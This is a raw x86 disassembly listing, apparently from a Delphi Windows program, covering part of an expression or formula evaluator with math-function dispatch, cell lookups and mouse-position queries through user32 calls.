mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
jmp 0x54a41a
dec dword [ebp - 0x28]
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
cmp dword [ebp - 0x144], 0
jne 0x54a429
cmp dword [ebp - 0x28], 0xffffffff
jge 0x54a402
lea edx, [ebp - 0x68]
mov eax, dword [ebp - 0x144]
call fcn.0040b73c
test al, al
jne 0x54a440
xor eax, eax
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0xd1c]
push eax
mov ecx, dword [ebp - 0x28]
dec ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd1c]
lea edx, [ebp - 0x2c]
call fcn.0040b73c
test al, al
jne 0x54a46f
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0xd20]
push eax
mov ecx, dword [ebp - 0x28]
sub ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd20]
lea edx, [ebp - 0x64]
call fcn.0040b73c
test al, al
jne 0x54a4a0
mov dword [ebp - 0x64], 1
mov eax, dword [ebp - 0x28]
sub eax, 1
jb 0x54a50c
je 0x54a4e9
dec eax
je 0x54a4c7
dec eax
jne 0x54a51c
mov eax, dword [ebp - 0x14]
sub eax, 2
jne 0x54a52f
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov eax, dword [ebp - 0x14]
dec eax
je 0x54a4e0
dec eax
jne 0x54a52f
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov eax, dword [ebp - 0x14]
sub eax, 1
jb 0x54a503
jne 0x54a52f
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x2c], 1
jmp 0x54a52f
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x2c], 1
xor eax, eax
mov dword [ebp - 0x68], eax
mov byte [ebp - 0x13e], 0
cmp dword [ebp - 0x68], 0
jge 0x54a550
mov byte [ebp - 0x13e], 1
mov eax, dword [ebp - 0x68]
cdq
xor eax, edx
sub eax, edx
mov dword [ebp - 0x68], eax
jmp 0x54a574
cmp dword [ebp - 0x68], 0
jne 0x54a574
mov al, byte [ebp - 0x13f]
sub al, 1
jb 0x54a564
je 0x54a56d
jmp 0x54a574
mov dword [ebp - 0x68], 0xffffffff
jmp 0x54a574
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x4c]
cmp byte [eax], 0x25
jne 0x54a91b
lea eax, [ebp - 0xd24]
push eax
lea eax, [ebp - 0xd28]
mov ecx, dword [ebp - 0x148]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xd28]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xd24]
lea eax, [ebp - 0x148]
call fcn.00405070
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x144]
call fcn.00404fd8
xor ebx, ebx
dec dword [ebp - 0x64]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x64], 0
jge 0x54a617
xor eax, eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x2c], 0
jle 0x54a63e
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
cmp eax, dword [ebp - 0x2c]
jge 0x54a65e
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x54a900
cmp byte [ebp - 0x10e], 0
jne 0x54a693
lea edx, [ebp - 0xd2c]
mov eax, dword [ebp - 0x148]
call fcn.0040b028
mov edx, dword [ebp - 0xd2c]
lea eax, [ebp - 0x148]
call fcn.00405070
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov eax, dword [eax]
call fcn.004063e0
dec eax
test eax, eax
jb 0x54a900
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x84], 0
test bl, bl
jne 0x54a900
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x2c]
sub edx, eax
jb 0x54a8ee
inc edx
mov dword [ebp - 0x2b4], edx
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x140], 0
cmp byte [ebp - 0x13e], 0
je 0x54a706
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
jmp 0x54a70c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov al, byte [ebp - 0x10d]
sub al, 1
jb 0x54a7d0
jne 0x54a860
cmp byte [ebp - 0x10e], 0
je 0x54a774
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x28]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x84]
mov eax, dword [eax + edx*4]
call fcn.00405498
push eax
mov eax, dword [ebp - 0x148]
call fcn.00405498
pop edx
call fcn.0040b118
test eax, eax
sete byte [ebp - 0x140]
jmp 0x54a860
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x28]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x84]
mov eax, dword [eax + edx*4]
lea edx, [ebp - 0xd30]
call fcn.0040b028
mov eax, dword [ebp - 0xd30]
call fcn.00405498
push eax
mov eax, dword [ebp - 0x148]
call fcn.00405498
pop edx
call fcn.0040b118
test eax, eax
sete byte [ebp - 0x140]
jmp 0x54a860
cmp byte [ebp - 0x10e], 0
je 0x54a815
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x28]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x84]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp - 0x148]
call fcn.004055dc
test eax, eax
setg byte [ebp - 0x140]
jmp 0x54a860
mov eax, dword [ebp - 0x14]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x28]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x84]
mov eax, dword [eax + edx*4]
lea edx, [ebp - 0xd34]
call fcn.0040b028
mov edx, dword [ebp - 0xd34]
mov eax, dword [ebp - 0x148]
call fcn.004055dc
test eax, eax
setg byte [ebp - 0x140]
cmp byte [ebp - 0x140], 0
je 0x54a8df
push dword [ebp - 0x144]
lea edx, [ebp - 0xd38]
mov eax, dword [ebp - 0x28]
inc eax
call fcn.0040b57c
push dword [ebp - 0xd38]
push 0x5539c8
mov eax, dword [ebp - 0x84]
inc eax
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xd3c]
call fcn.0040b668
push dword [ebp - 0xd3c]
push 0x5539d4
lea eax, [ebp - 0x144]
mov edx, 5
call fcn.00405358
dec dword [ebp - 0x68]
cmp dword [ebp - 0x68], 0
jne 0x54a8df
cmp byte [ebp - 0x13f], 0
je 0x54a8db
lea edx, [ebp - 0x144]
mov eax, dword [ebp - 0x28]
inc eax
call fcn.0040b57c
mov bl, 1
jmp 0x54a8ee
inc dword [ebp - 0x10]
dec dword [ebp - 0x2b4]
jne 0x54a6eb
inc dword [ebp - 0x84]
dec dword [ebp - 0x2a4]
jne 0x54a6cb
xor bl, 1
and bl, byte [ebp - 0x13f]
je 0x54a91b
lea eax, [ebp - 0x144]
mov edx, 0x553874
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x54a944
push 0x5537e4
push dword [ebp - 0x144]
push 0x5537e4
lea eax, [ebp - 0x144]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x144]
call fcn.00405580
mov eax, dword [ebp - 0x144]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x21c]
push eax
call sub.user32.dll_GetCursorPos
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ScreenToClient
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x21c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x21c]
push eax
call sub.user32.dll_GetCursorPos
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ScreenToClient
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x218]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x21c]
push eax
call sub.user32.dll_GetCursorPos
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x21c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x21c]
push eax
call sub.user32.dll_GetCursorPos
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x218]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54aac0
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54aabd
mov bl, 1
jmp 0x54ab08
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54ab08
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54aaac
test bl, bl
je 0x54cf90
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xd40]
mov ecx, dword [ebp - 0x154]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xd40]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov eax, dword [ebp - 0xc0]
add eax, 0xffffff8b
cmp eax, 0x4c
ja case.0x54ab86.136
jmp dword [eax*4 + 0x54ab8d]
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54acef
fld xword [ebp - 0x1a0]
fabs
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54ad2d
fld xword [ebp - 0x1a0]
call fcn.004030c0
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54ad77
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.0043160c
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54adc1
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.004315dc
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
mov edx, dword [ebp - 0x1c]
mov eax, 0x553b50
call fcn.004055dc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x54adf9
mov edx, dword [ebp - 0x1c]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x54ae11
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, 1
call fcn.00405538
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54ae56
fld xword [ebp - 0x1a0]
fabs
fsqrt
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xd44]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd48]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xd48]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd44]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xd4c]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd50]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xd50]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd4c]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54af99
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54af99
mov ax, word [ebp - 0x1a8]
push eax
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
mov ax, word [ebp - 0x1b8]
push eax
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
call fcn.00431654
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54afdc
fld xword [ebp - 0x1a0]
call fcn.00403074
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b020
fld xword [ebp - 0x1a0]
fldln2
fxch st(1)
fyl2x
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xd54]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd58]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xd58]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd54]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xd5c]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd60]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xd60]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xd5c]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54b163
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54b163
mov ax, word [ebp - 0x1a8]
push eax
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
mov ax, word [ebp - 0x1b8]
push eax
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
call fcn.0043163c
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b1a6
fld xword [ebp - 0x1a0]
call fcn.0040308c
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b1e9
fld xword [ebp - 0x1a0]
call fcn.00403064
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b23a
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.004315cc
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b28b
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.0043157c
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b2dc
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.0043153c
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b31e
fld xword [ebp - 0x1a0]
fld1
fpatan
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b36f
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.004314b4
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b3c0
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
call fcn.004314e0
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54b3fe
fld xword [ebp - 0x1a0]
call fcn.004030cc
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd64]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov ecx, dword [ebp - 0xd64]
lea eax, [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov dword [ebp - 0x1a0], 0xfffffffe
mov dword [ebp - 0x19c], 0xffffffff
mov word [ebp - 0x198], 0x403d
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov byte [ebp - 0x119], 1
mov byte [ebp - 0x140], 1
jmp 0x54b979
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd68]
push eax
mov ecx, 0x553b50
mov edx, 0x553b70
mov eax, dword [ebp - 0x148]
call fcn.00410c50
mov eax, dword [ebp - 0xd68]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
jne 0x54b921
mov byte [ebp - 0x119], 1
mov eax, dword [ebp - 0x148]
cmp byte [eax], 0x25
jne 0x54b8fd
cmp dword [ebp - 0x14], 1
jne 0x54b8fd
mov byte [ebp - 0x140], 0
mov dword [ebp - 0x28], 1
mov edx, dword [ebp - 0x148]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jle 0x54b59e
lea eax, [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
call fcn.00405070
lea eax, [ebp - 0x14c]
mov ecx, dword [ebp - 0x64]
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0xd70]
push eax
mov ecx, dword [ebp - 0x64]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x148]
call fcn.004054f8
mov eax, dword [ebp - 0xd70]
lea edx, [ebp - 0xd6c]
call fcn.0040b05c
mov edx, dword [ebp - 0xd6c]
lea eax, [ebp - 0x148]
call fcn.00405070
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x64], eax
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x64]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43d8]
mov dword [ebp - 0x64], eax
jmp 0x54b5e1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43d8]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x148]
mov ecx, 1
mov edx, 1
call fcn.00405538
lea edx, [ebp - 0xd74]
mov eax, dword [ebp - 0x148]
call fcn.0040b05c
mov edx, dword [ebp - 0xd74]
lea eax, [ebp - 0x148]
call fcn.00405070
lea eax, [ebp - 0x4c]
call fcn.00404fd8
xor eax, eax
mov dword [ebp - 0x60], eax
jmp 0x54b8cd
lea eax, [ebp - 0xd78]
mov edx, dword [ebp - 0x60]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx + 0x48]
lea edx, [ecx + edx*4]
call fcn.0040523c
mov eax, dword [ebp - 0xd78]
mov edx, dword [ebp - 0x148]
call fcn.004053e4
jne 0x54b8ca
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov eax, dword [eax]
call fcn.004063e0
test eax, eax
jle 0x54b8e1
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x1a0], 0xfffffffe
mov dword [ebp - 0x19c], 0xffffffff
mov word [ebp - 0x198], 0x403d
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x14c]
call fcn.00404fd8
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
test eax, eax
jle 0x54b74e
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x14c], 0
je 0x54b6d4
lea eax, [ebp - 0x14c]
mov edx, 0x553b7c
call fcn.004052a0
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x2c]
mov eax, dword [eax + edx*4 - 4]
mov edx, dword [ebp - 0x68]
mov eax, dword [eax + edx*4 - 4]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
je 0x54b738
mov ax, word [ebp - 0x1a8]
push eax
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
lea eax, [ebp - 0xd7c]
call fcn.0040d188
mov edx, dword [ebp - 0xd7c]
lea eax, [ebp - 0x14c]
call fcn.004052a0
mov byte [ebp - 0x119], 0
inc dword [ebp - 0x2c]
dec dword [ebp - 0x2b4]
jne 0x54b6bb
